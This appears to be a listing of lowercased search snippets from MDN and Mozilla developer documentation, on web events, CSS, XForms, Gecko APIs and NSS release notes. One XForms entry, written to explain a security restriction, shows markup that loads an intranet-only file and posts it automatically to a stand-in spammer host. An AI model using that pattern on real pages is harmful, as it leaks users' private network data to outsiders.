-ms-accelerator - Archive of obsolete content
the user presses the alt key and holds it while pressing the character to move input focus to the object, and to invoke the default event associated with the object.
-ms-filter - Archive of obsolete content
alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white; visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
-moz-touch-enabled - Archive of obsolete content
syntax <integer> if the device supports touch events (for a touch screen), this is 1.
Processing XML with E4X - Archive of obsolete content
compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to prevent <script> unaware browsers from displaying javascript code to the user.
Expression closures - Archive of obsolete content
examples a shorthand for binding event listeners: document.addeventlistener('click', function() false, true); using this notation with some of the array functions from javascript 1.6: elems.some(function(elem) elem.type == 'text'); ...
ECMAScript 2015 support in Mozilla - Archive of obsolete content
tprototypeof() (firefox 31) object.assign() (firefox 34) object.getownpropertysymbols() (firefox 33) additions to the date object date.prototype is an ordinary object (firefox 41) generic date.prototype.tostring (firefox 41) date.prototype[@@toprimitive] (firefox 44) new promise object promise (firefox 24, enabled by default in firefox 29) new proxy object proxy (firefox 18) preventextensions() trap (firefox 22) isextensible() trap (firefox 31) getprototypeof() and setprototypeof() traps (firefox 49) new reflect object reflect (firefox 42) additions to the regexp object regexp sticky (y) flag (firefox 38) regexp unicode (u) flag (firefox 46) generic regexp.prototype.tostring (firefox 39) regexp.prototype[@@match]() (firefox 49) regexp.prototype[@@replace]() (...
ECMAScript 5 support in Mozilla - Archive of obsolete content
improvements laid out by ecmascript 5 have been made in the parsing algorithm that prevents evaluating xhtml as javascript code in certain circumstances.
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
listing 7 - manipulating the dom server-side <script runat="server"> window.onserverload = function() { document.getelementbyid( "out-logger" ).innerhtml = jaxer.file.read( "dump.txt" ); } </script> the code in listing 7 is executed server-side and takes advantage of the onserverload event which ensures that we have a complete dom before trying to access it.
Writing JavaScript for XHTML - Archive of obsolete content
given the direction away from formatting attributes and the possibility of xhtml becoming eventually more prominent (or at least the document author having the possibility of later wanting to make documents available in xhtml for browsers that support it), one may wish to avoid features which are not likely to stay compatible into the future.
XForms Custom Controls - Archive of obsolete content
work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and common way to customize your form's user interface across all xforms processors.
Mozilla XForms Specials - Archive of obsolete content
if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <xforms:send submission="sub" ev:event="xforms-ready"/> </xforms:model> this imaginary would fetch something that is only accessible for you (f.x.
XForms Help Element - Archive of obsolete content
the help message will be displayed if the f1 key is pressed while the containing form control has focus or if the containing form control recieves a xforms-help event.
XForms Hint Element - Archive of obsolete content
the hint will also be displayed if the containing form control recieves a xforms-hint event.
XForms Submit Element - Archive of obsolete content
upon receiving a domactivate event, this form control dispatches a xforms-submit event to the submission element (see the spec) specified in its submission attibute.
XForms - Archive of obsolete content
drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model.
Archived open Web documentation - Archive of obsolete content
drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
consequently, xerox eventually had to shut down the production of their workstation development because of escalating manufacturing and developing costs and slowed sales.
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
since this rule is not valid css, it will prevent the validation of any stylesheet that contains it.
The Business Benefits of Web Standards - Archive of obsolete content
as the web evolves, web browsers may eventually become either less permissive, or behave differently when given invalid markup (e.g.
Archive of obsolete content
element events archived event pages firefox developer tools these are articles related to the firefox developer tools, which are no longer current.
Explaining basic 3D theory - Game development
those fragments — which are 3d projections of the 2d pixels — are aligned to the pixel grid, so eventually they can be printed out as pixels on a 2d screen display during the output merging stage.
Building up a basic demo with the PlayCanvas engine - Game development
there's a special update event that we can use for that — add the following code just below the previous additions: var timer = 0; app.on("update", function (deltatime) { timer += deltatime; // code executed on every frame }); the callback takes the deltatime as the parameter, so we have the relative time that has passed since the previous invocation of this update.
Efficient animation for web games - Game development
to save battery life, it is best to only draw when there are things going on, so that would mean calling requestanimationframe (or your refresh function, which in turn calls that) in response to events happening in your game.
Tools for game development - Game development
on this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools.
Build the brick field - Game development
but the ball isn't interacting with them at all — we'll change that as we continue to the seventh chapter: collision detection.
Track the score and win - Game development
counting the score if you can see your score throughout the game, eventually you can impress your friends.
Animations and tweens - Game development
we will also add the optional oncomplete event handler, which defines a function to be executed when the tween finishes.
Game over - Game development
add the following lines just below the previous new one: ball.checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event.
Physics - Game development
adding gravity would result in the ball falling down while friction would eventually stop the ball.
Visual-js game engine - Game development
in no event shall the author of this software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software.
API - MDN Web Docs Glossary: Definitions of Web-related terms
methods, properties, events, and urls) that a developer can use in their apps for interacting with components of a user's web browser, or other software/hardware on the user's computer, or third party websites and services.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
the term asynchronous refers to two or more objects or events not existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete).
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
to prevent the requirement of downloading ginormous files, scripts can be split into multiple smaller files.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
parts of a script may also be set to execute when events occur.
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
event listeners can be added to nodes and triggered on occurrence of a given event.
DoS attack - MDN Web Docs Glossary: Definitions of Web-related terms
dos (denial of service) is a network attack that prevents legitimate use of server resources by flooding the server with requests.
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
dos (denial of service) is a network attack that prevents legitimate use of server resources by flooding the server with requests.
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
eventually, the assailant instructs the controlled machines to launch an attack against a specified target.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
its sole purpose is to prevent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
traditionally, headers are classed in categories, though this classification is no more part of any specification: general header: headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
this prevents accessing variables within the iife idiom as well as polluting the global scope.
Long task - MDN Web Docs Glossary: Definitions of Web-related terms
common examples include long running event handlers, expensive reflows and other re-renders, and work the browser does between different turns of the event loop that exceeds 50 ms.
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a new block of memory "immutablestring" object now points to the newly created memory space previously created memory space is now available for garbage collection.
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
fortunately, since the result will be nan and i know my divisor may turn out to be 0, i can set up testing conditions that prevent any such computations in the first place or notify me of where they happen.
Promise - MDN Web Docs Glossary: Definitions of Web-related terms
the promise literally represents a promise made by the function that it will eventually return a result through the promise object.
Robots.txt - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the site admin can forbid crawlers to visit a certain folder (and all the files therein contained) or to crawl a specific file, usually to prevent those files being indexed by other search engines.
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
how to prevent before executing the queries for the user credentials, make some changes like the following: $id = $_get['id'] (1) $id = stripslashes($id) (2) $id = mysql_real_escape_string($id) so due to (1) each single quote (') in the input string is replaced with double quotes ("), and due to (2) before every (') it adds (/).
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
a transition is a set of actions to execute when a condition is fulfilled or an event received.
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
it prevents the appearance of network congestion whose capabilities are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found.
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
transport layer security (tls), formerly known as secure sockets layer (ssl), is a protocol used by applications to communicate securely across a network, preventing tampering with and eavesdropping on email, web browsing, messaging, and other protocols.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
the main thread is the one used by the browser to handle user events, render and paint the display, and to run the majority of the code that comprises a typical web page or app.
Time to interactive - MDN Web Docs Glossary: Definitions of Web-related terms
tti, proposed by the web incubator community group in 2018, is intended to provide a metric that describes when a page or application contains useful content and the main thread is idle and free to respond to user interactions, including having event handlers registered.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—preventing their experiments from being relied upon and then breaking web developers' code during the standardization process.
MDN Web Docs Glossary: Definitions of Web-related terms
agram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic programming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fallback alignment falsy favicon fetch directive fetch metadata request header firefox os firewall first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint first-class...
What is accessibility? - Learn web development
centers for disease control and prevention disability and functioning (noninstitutionalized adults 18 years and over) reports the usa "percent of adults with any physical functioning difficulty: 16.1%".
Flexbox - Learn web development
wrapping one issue that arises when you have a fixed amount of width or height in your layout is that eventually your flexbox children will overflow their container, breaking the layout.
Practical positioning examples - Learn web development
in the settabhandler() function, the tab has an onclick event handler set on it, so that when the tab is clicked, the following occurs: a for loop is used to cycle through all the tabs and remove any classes that are present on them.
How CSS is structured - Learn web development
<p class="special">what color am i?</p> the css language has rules to control which selector is stronger in the event of a conflict.
create fancy boxes - Learn web development
*/ .fancy::before, .fancy::after { /* this is required to be allowed to display the pseudo-elements, event if the value is an empty string */ content: ''; /* we positionnate our pseudo-elements on the left and right sides of the box, but always at the bottom */ position: absolute; bottom : 0; /* this makes sure our pseudo-elements will be below the box content whatever happens.
How do you make sure your website works properly? - Learn web development
this will not prevent the page from loading but you will feel something went wrong.
What are browser developer tools? - Learn web development
re out about the inspector in different browsers: firefox page inspector ie dom explorer chrome dom inspector (opera's inspector works the same as this) safari dom inspector and style explorer the javascript debugger the javascript debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the problems that prevent your code from executing properly.
What is a Domain Name? - Learn web development
this is so that unused domain names eventually become available to use again by someone else.
Advanced form styling - Learn web development
the above code is good for future-proofing against such an eventuality.
Example 2 - Learn web development
#000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> ...
Sending form data - Learn web development
for example: <form method="post" action="https://www.foo.com" enctype="multipart/form-data"> <div> <label for="file">choose a file</label> <input type="file" id="file" name="myfile"> </div> <div> <button>send the file</button> </div> </form> note: servers can be configured with a size limit for files and http requests in order to prevent abuse.
Styling web forms - Learn web development
while our design is a fixed-size design, and we could use the resize property to prevent users from resizing our multi-line text field, it is best to not prevent users from resizing a textarea if they so choose.
Test your skills: Form validation - Learn web development
add an event listener that checks whether the inputted value is an email address, and whether it is long enough.
Dealing with files - Learn web development
when you're building a website, you need to assemble these files into a sensible structure on your local computer, make sure they can talk to one another, and get all your content looking right before you eventually upload them to a server.
What will your website look like? - Learn web development
choosing your assets at this point, it's good to start putting together the content that will eventually appear on your webpage.
What’s in the head? Metadata in HTML - Learn web development
if you encounter problems with the favicon not loading, verify that the content-security-policy header's img-src directive is not preventing access to it.
How to contribute to the Learning Area on MDN - Learn web development
it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Choosing the right approach - Learn web development
promise callbacks are always called in the strict order they are placed in the event queue; async callbacks aren't.
Basic math in JavaScript — numbers and operators - Learn web development
for now, let's look at a quick example: <button>start machine</button> <p>the machine is stopped.</p> const btn = document.queryselector('button'); const txt = document.queryselector('p'); btn.addeventlistener('click', updatebtn); function updatebtn() { if (btn.textcontent === 'start machine') { btn.textcontent = 'stop machine'; txt.textcontent = 'the machine has started!'; } else { btn.textcontent = 'start machine'; txt.textcontent = 'the machine is stopped.'; } } open in new window you can see the equality operator being used just inside the updatebtn() function.
Working with JSON - Learn web development
we have wrapped the code in an event handler that runs when the load event fires on the request object (see onload) — this is because the load event fires when the response has successfully returned; doing it this way guarantees that request.response will definitely be available when we come to try to do something with it.
JavaScript — Dynamic client-side scripting - Learn web development
javascript building blocks in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events.
CSS performance optimization - Learn web development
by splitting the css into multiple files based on media queries, you can prevent render blocking during download of unused css.
JavaScript performance - Learn web development
eventually.
Client-Server Overview - Learn web development
if anything prevents the html from being returned then the web application will return another code — for example "404" to indicate that the team does not exist.
Introduction to the server side - Learn web development
eventually, you will start to be redirected to pages explaining how to subscribe, and you will be unable to access articles.
Server-side web frameworks - Learn web development
real-time event broadcasting.
Introduction to automated testing - Learn web development
in the next screen, type in the url of a page you want to test (use http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html, for example), then choose a browser/os combination you want to test by using the different buttons and lists.
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
Cross browser testing - Learn web development
handling common html and css problems with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
Git and GitHub - Learn web development
eventually we will are aiming to have our own dedicated git/github course, but for now, these will help you get to grips with the subject in hand.
Client-side tooling overview - Learn web development
safety net tooling should also help you either prevent mistakes or correct mistakes automatically without having to build your code from scratch each time.
omni.ja (formerly omni.jar)
this change was needed to prevent firefox from becoming corrupted.
Accessibility Features in Firefox
we expect enterprising script writers will eventually fix annoying accessibility issues in popular web pages, and (hopefully) share their tricks with everyone!
CSUN Firefox Materials
we expect enterprising script writers will eventually fix annoying accessibility issues in popular web pages, and (hopefully) share their tricks with everyone!
Information for External Developers Dealing with Accessibility
contains info on accessible roles, states and events.
Mozilla Plugin Accessibility
all browser keys unavailable when plugin has focus focused plugins currently have no choice but to consume all keyboard events.
ZoomText
my email address is aaronleventhal@moonset.net.
Chrome registration
note: there are no security restrictions preventing web content from including content at resource: uris, so take care what you make visible there.
How Mozilla's build system works
however, with the transition to moz.build files, you may eventually see non-make build backends, such as tup or visual studio.
Simple Thunderbird build
if it is in your `mozconfig` file, you should go ahead and remove it when building thunderbird 74 or later, since support for it will eventually be removed completely.
Eclipse CDT
however, if you right click on nsdomclassinfoid.h in the project explorer and select "index > create parser log file", the log shows "context" is set to "accessible/src/base/accevent.cpp", not "content/svg/content/src/nssvgellipseelement.cpp", and if you check the properties for accevent.cpp, indeed it is not built with the _impl_ns_layout define.
Getting documentation updated
it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Displaying Places information using views
in firefox 4 and later requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can add places information to a popup like this: <menu id="bookmarksmenu"> <menupopup placespopup="true"> onpopupshowing="if (!document.getelementbyid('bookmarksmenu')._placesview) new placesmenu(event, 'place:folder=bookmarks_menu');" </menupopup> </menu> the menu view is implemented in browser/components/places/content/menu.xml.
Message manager overview
its most important attributes and functions are: content : access the dom window hosted by the tab docshell : access the top-level docshell components : access privileged objects and apis addeventlistener() : listen to dom events addmessagelistener() : receive messages from the chrome process sendasyncmessage() : send asynchronous messages to the chrome process sendsyncmessage() : send synchronous messages to the chrome process interfaces nsidomeventtarget nsimessagelistenermanager nsimessagesender nsisyncmessagesender nsicontentframe...
Security best practices for Firefox front-end engineers
we use our built-in sanitizer with the following flags: sanitizerallowstyle sanitizerallowcomments sanitizerdropforms sanitizerlogremovals the sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist).
HTMLIFrameElement.getManifest()
examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getmanifest().then(function(json) { console.log(json); }); }); specification not part of any specification.
HTMLIFrameElement.getScreenshot()
note: getscreenshot() waits for the event loop to go idle before it takes the screenshot.
HTMLIFrameElement.getStructuredData()
examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [...
HTMLIFrameElement.reload()
examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
HTMLIFrameElement.stop()
MozillaGeckoChromeAPIBrowser APIstop
examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
HTMLIFrameElement.zoom()
MozillaGeckoChromeAPIBrowser APIzoom
examples var browser = document.queryselector('iframe'); var zoomfactor = 1; zoomin.addeventlistener('touchend',function() { zoomfactor += 0.1; browser.zoom(zoomfactor); }); zoomout.addeventlistener('touchend',function() { zoomfactor -= 0.1; browser.zoom(zoomfactor); }); specification not part of any specification.
overflow-clip-box-block
{ overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box-inline
{ overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
overflow-clip-box
css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, should appear in css overflow module level 3.
Gecko Chrome
ua stylesheets.) chrome-only events referencethis page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
Overview of Mozilla embedding APIs
contract-id: ns_pref_contractid implemented interfaces: nsiprefservice nsiprefbranch related interfaces: nsipreflistener profile manager service contract-id: implemented interfaces: document loader service (webprogress) eventually, this service will be replaced by thewebprogress service...
Embedding Tips
the nsicontextmenulistener::onshowcontextmenu() method will be called with the dom node that the context applies, the dom event plus some flag combinations that assist in determining what menu to display (document, link, image, selected text etc.) how do i implement tool tips?
Roll your own browser: An embedding how-to
other initialization must be done to start up event queues and load some string bundles.
Gecko
gecko event reference reference to events used within gecko and mozilla applications; for web-standard dom events, see the dom event reference.
Getting from Content to Layout
the frame constructor takes these notifications and does the following: dispatches "restyle events" which trigger the reprocessing of relevant css selectors and any restyling that needs to occur.
Hacking with Bonsai
at 10:00 am, everyone who is on the hook is available in case the build breaks eventually, the tree builds, and it is re-opened.
How to get a stacktrace with WinDbg
once the download is complete, you need to configure windbg to examine child processes, ignore a specific event caused by flash player, and record a log of loaded modules.
How to Report a Hung Firefox
(if you're experiencing high cpu usage and firefox eventually recovers from a hang, you should try the instructions at reporting a performance problem instead.) is the rest of your system busy (high cpu or memory usage, or high disk activity)?
IPDL Best Practices
do not use them as data structures outside of ipdl, or wou will eventually find yourself in bad situations to implement proper memory management.
Implementing Download Resuming
you may want to use nsisimplestreamlistener to simplify this task; to get progress notifications, you can implement nsiprogresseventsink and set an interface requester as the notificationcallbacks of the channel that gives out such an event sink (this needs to be done before calling asyncopen).
Infallible memory allocation
eventually, however, the generic memory allocators (malloc() and realloc()) will become infallible.
Internationalized Domain Names (IDN) Support in Mozilla Browsers
during the discussion phase of the idn protocols development, there were some competing ascii-compatible encoding (ace) schemes proposed but an agreement was reached eventually to standardize on a type of ace called "punycode".
JavaScript Tips
the properties are: align allowevents contextmenu datasources dir flex height id left maxheight maxwidth minheight minwidth observes orient pack persist ref statustext top tooltip tooltiptext width xul also maps the ordinal attribute but this defaults to "1" if it is not present.
AddonListener
a listener only needs to implement the methods corresponding to the events it cares about; missing methods will not cause any problems.
AddonManager
starting in firefox 8, you can also set the value of the preference extensions.autodisabledscopes to prevent firefox from automatically installing add-ons from the specified scopes.
InstallListener
they may be registered to hear events from all addoninstalls through addinstalllistener or to a single addoninstall through addlistener.
API-provided widgets
showinprivatebrowsing whether to show the widget in private browsing mode (optional, default: true) event handlers you can also define several event handlers which will be called at various stages in a widget's lifetime: event handler name description onbuild(adoc) only useful for custom widgets (and required there); a function that will be invoked with the document in which to build a widget.
Download
note: this method should be used in place of the cancel() and removepartialdata() methods while shutting down or disposing of the download object, to prevent other callers from interfering with the operation.
DownloadList
note: when a download is added to the list, its onchange event is registered by the list, thus it cannot be used to monitor the download.
JavaScript OS.Constants
o_evtonly descriptor requested for event notifications only.
Log.jsm
info interesting runtime events (startup/shutdown).
Examples
"you have file.txt in your temporary directory." : "you don't have file.txt in your temporary directory."); }).then(null, components.utils.reporterror); chaining promises the promise returned by then eventually assumes the state of the promise returned by the callback.
Services.jsm
manager.jsm dirsvc nsidirectoryservice nsiproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlinkhandler nsidroppedlinkhandler dropped link handler service els nsieventlistenerservice event listener service etld nsieffectivetldservice effectivetld service focus nsifocusmanager focus manager io nsiioservice nsiioservice2 i/o service locale nsilocaleservice locale service logins nsiloginmanager password manager service metro nsiwinmetroutils 2 mm nsimessage...
Sqlite.jsm
note: callers are encouraged to pass objects rather than arrays for bound parameters because they prevent foot guns.
Localizing without a specialized tool
$ hg clone http://bitbucket.org/mozillal10n/x-testing if there is an hg.mozilla.org repository with localization files, you can pull from it too: $ hg clone http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/x-testing eventually, you should end up with a folder hierarchy described above in the folder structure section.
Creating localizable web applications
if you really have to use multiple strings, then make sure you're using comments or event contexts to let localizers know which part they're translating (cf.
MathML Torture Test
addeventlistener("change", updatemathfont, false) } window.addeventlistener("load", load, false); the following test contains sample tex formulas from knuth's tex book and equivalent mathml representations.
MathML In Action
addeventlistener("click", zoomtoggle, false); } window.addeventlistener("load", load, false); consider an interesting markup like this { u t + f ( u ) x = 0 u ( 0 , x ) = { u - if x < 0 u + if x > 0 or other complex markups like these ell ^ y ( z ; z , τ ) := ∫ y ( ∏ l ( y l 2 π i ) θ ( y l 2 π i - z ) ...
Using the viewport meta tag to control layout on mobile browsers
if web developers want their scale settings to remain consistent when switching orientations on the iphone, they must add a maximum-scale value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in: <meta name="viewport" content="initial-scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86.
Mozilla Port Blocking
by default, mozilla now blocks access to specific ports which are used by vulnerable services in order to prevent security vulnerabilites due to "cross-protocol scripting".
Mozilla Web Services Security Model
please do not depend on anything in it being correct for security.) to prevent the browser from being used as a tool for web sites to obtain priveleges that belong to the browser's user (such as being behind a firewall or getting the benefits of the user's cookies), web browsers restrict what web pages can do when accessing things in other domains.
Mozilla Style System Documentation
i'm reluctant to write it both since i don't know much about it.] problems:a bunch the code needs to be rewritten to prevent stylesheets from blocking the parser and to reduce string copying (although that partly goes with parsing).] parsing stylesheet representation problems: the stylesheet representation uses way too much memory.
Activity Monitor, Battery Status Menu and top
and it appears that a program with an “energy impact” of roughly 20 or more will eventually show up as significant, and programs that have much higher “energy impact” values tend to show up more quickly.
Memory Profiler
timeline view this view shows the allocation event across the period of time.
Power profiling overview
this happens when the os schedules a process to run due to some kind of event.
tools/power/rapl
sudo $objdir/dist/bin/rapl alternatively, it can be run without root privileges by setting the contents of /proc/sys/kernel/perf_event_paranoid to 0.
Performance
memory profiler the memory profiler samples allocation events and provides different views to analyze the allocation characteristic.
Phishing: a short definition
after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to preventing fraud.
A brief guide to Mozilla preferences
preferences files to protect privacy by preventing inadvertent loading of a preferences file in the browser, the first line of the file is made un-parseable and skipped on loading.
Profile Manager
firefox provides a built-in applet to manage these profiles, but it will eventually be going away (see bug 214675), so a new standalone profile manager application has been created, which works with any xulrunner application, and has many features not found in firefox's built-in version.
L20n HTML Bindings
when all dom nodes are localized, the document element will fire a documentlocalized event, which you can listen to: document.addeventlistener('documentlocalized', function() { // the dom has been localized and the user sees it in their language yourapp.init(); }); exposing context data you can expose important bits of data to the localization context in form of context data.
Leak And Bloat Tests
the method of testing memory bloat and leaks will be the same sequence of events, using the same set of test data.
MailNews automated testing
in the long term we would like to lose this extra complexity in favor of the event-loop-spinning style of operation used by mozmill.
NSPR release procedure
after you have run repackage.sh, follow the instructions in to upload the files to ftp.mozilla.org's staging server, so that they eventually show up on ftp.mozilla.org.
Introduction to NSPR
locking prevents access to some resource, such as a piece of shared data: that is, it enforces mutual exclusion.
PRIntervalTime
waiting on events more than half a day in the future must therefore be based on a calendar time.
PR ImportTCPSocket
the caller must not do anything to the native file descriptor before the pr_importtcpsocket call that will prevent the native file descriptor from working in non-blocking mode.
PR_OpenDir
the prdir pointer should eventually be closed by a call to pr_closedir.
PR_STATIC_ASSERT
prevents code from compiling when an expression has the value false at compile time.
NSPR API Reference
types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions i/o functions functions that operate on pathnames functions that act on file descriptors directory i/o functions socket manipulation functions converting between host and network addresses memory-mapped i/o functions anonymous pipe function polling functions pollable events manipulating layers network addresses network address types and constants network address functions atomic operations pr_atomicincrement pr_atomicdecrement pr_atomicset interval timing interval time type and constants interval functions date and time types and constants time parameter callback functions functions memory management operations memory allocation func...
Cryptography functions
thflagsperm mxr 3.9 and later pk11_updateslotattribute mxr 3.8 and later pk11_userenableslot mxr 3.8 and later pk11_userdisableslot mxr 3.8 and later pk11_verify mxr 3.2 and later pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl ...
NSS 3.14.4 release notes
bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
NSS 3.14 release notes
ssl library included in nss 3.14 ssl_versionrangeget (in ssl.h) ssl_versionrangegetdefault (in ssl.h) ssl_versionrangegetsupported (in ssl.h) ssl_versionrangeset (in ssl.h) ssl_versionrangesetdefault (in ssl.h) to better ensure interoperability with peers that support tls 1.1, nss has altered how it handles certain ssl protocol layer events.
NSS 3.15.2 release notes
bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
NSS 3.16.2.2 release notes
this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.16.6 release notes
this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.17.2 release notes
this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.19.2.2 release notes
nss 3.19.2.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_2_rtm/src/ security fixes in nss 3.19.2.2 bug 1158489 / cve-2015-7575 - prevent md5 downgrade in tls 1.2 signatures.
NSS 3.20.2 release notes
